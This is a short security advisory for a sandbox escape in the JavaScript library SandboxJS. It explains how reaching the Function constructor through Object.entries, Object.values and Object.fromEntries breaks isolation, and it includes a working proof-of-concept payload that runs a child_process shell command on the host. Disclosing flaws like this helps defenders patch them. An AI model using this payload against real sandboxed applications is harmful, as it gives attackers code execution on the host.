CVE-2026-26954: SandboxJS affected by a Sandbox Escape

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE